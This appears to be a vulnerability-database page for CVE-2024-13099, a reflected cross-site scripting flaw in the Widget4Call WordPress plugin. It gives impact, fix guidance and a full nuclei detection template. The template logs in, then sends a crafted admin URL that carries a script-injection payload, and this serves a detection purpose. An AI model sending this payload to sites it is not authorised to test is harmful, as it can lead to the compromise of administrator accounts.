HexBrain

Browse / CVEs / CVE-2024-13099

CVE-2024-13099· apidaze / widget4call· CWE-79

Widget4Call WordPress - Cross-Site Scripting

mediumseverity
5.4CVSS score
0.7%likelihood of exploitation, next 30 days
54%of all CVEs are less likely
Readycheck to confirm it

Widget4Call WordPress plugin <= 1.0.7 contains a reflected cross-site scripting caused by unsanitized parameter output in the page, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.

Impact

Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to account compromise or data theft.

Fix

Update to the latest version of Widget4Call plugin that addresses this issue.

How to confirm it

Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=w4c_devmode&_id=1"></script><script>alert(document.domain)</script><script>`
Positive when: status_code == 200 and contains_all(body, "></script><script>alert(document.domain)</script><script>`")

Run it with nuclei: nuclei -id CVE-2024-13099 -u <target>

The full check
id: CVE-2024-13099

info:
  name: Widget4Call WordPress - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    Widget4Call WordPress plugin <= 1.0.7 contains a reflected cross-site scripting caused by unsanitized parameter output in the page, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.
  impact: |
    Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to account compromise or data theft.
  remediation: |
    Update to the latest version of Widget4Call plugin that addresses this issue.
  reference:
    - https://wpscan.com/vulnerability/a0cabf5c-7b01-4163-834b-a134db3a90b4/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2024-13099
    cwe-id: CWE-79
    epss-score: 0.00712
    epss-percentile: 0.53925
    cpe: cpe:2.3:a:apidaze:widget4call:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: apidaze
    product: widget4call
  tags: cve,cve2024,wp-scan,wordpress,wp-plugin,apidaze,widget4call

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=w4c_devmode&_id=1"></script><script>alert(document.domain)</script><script>` HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(document.domain)</script><script>`")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from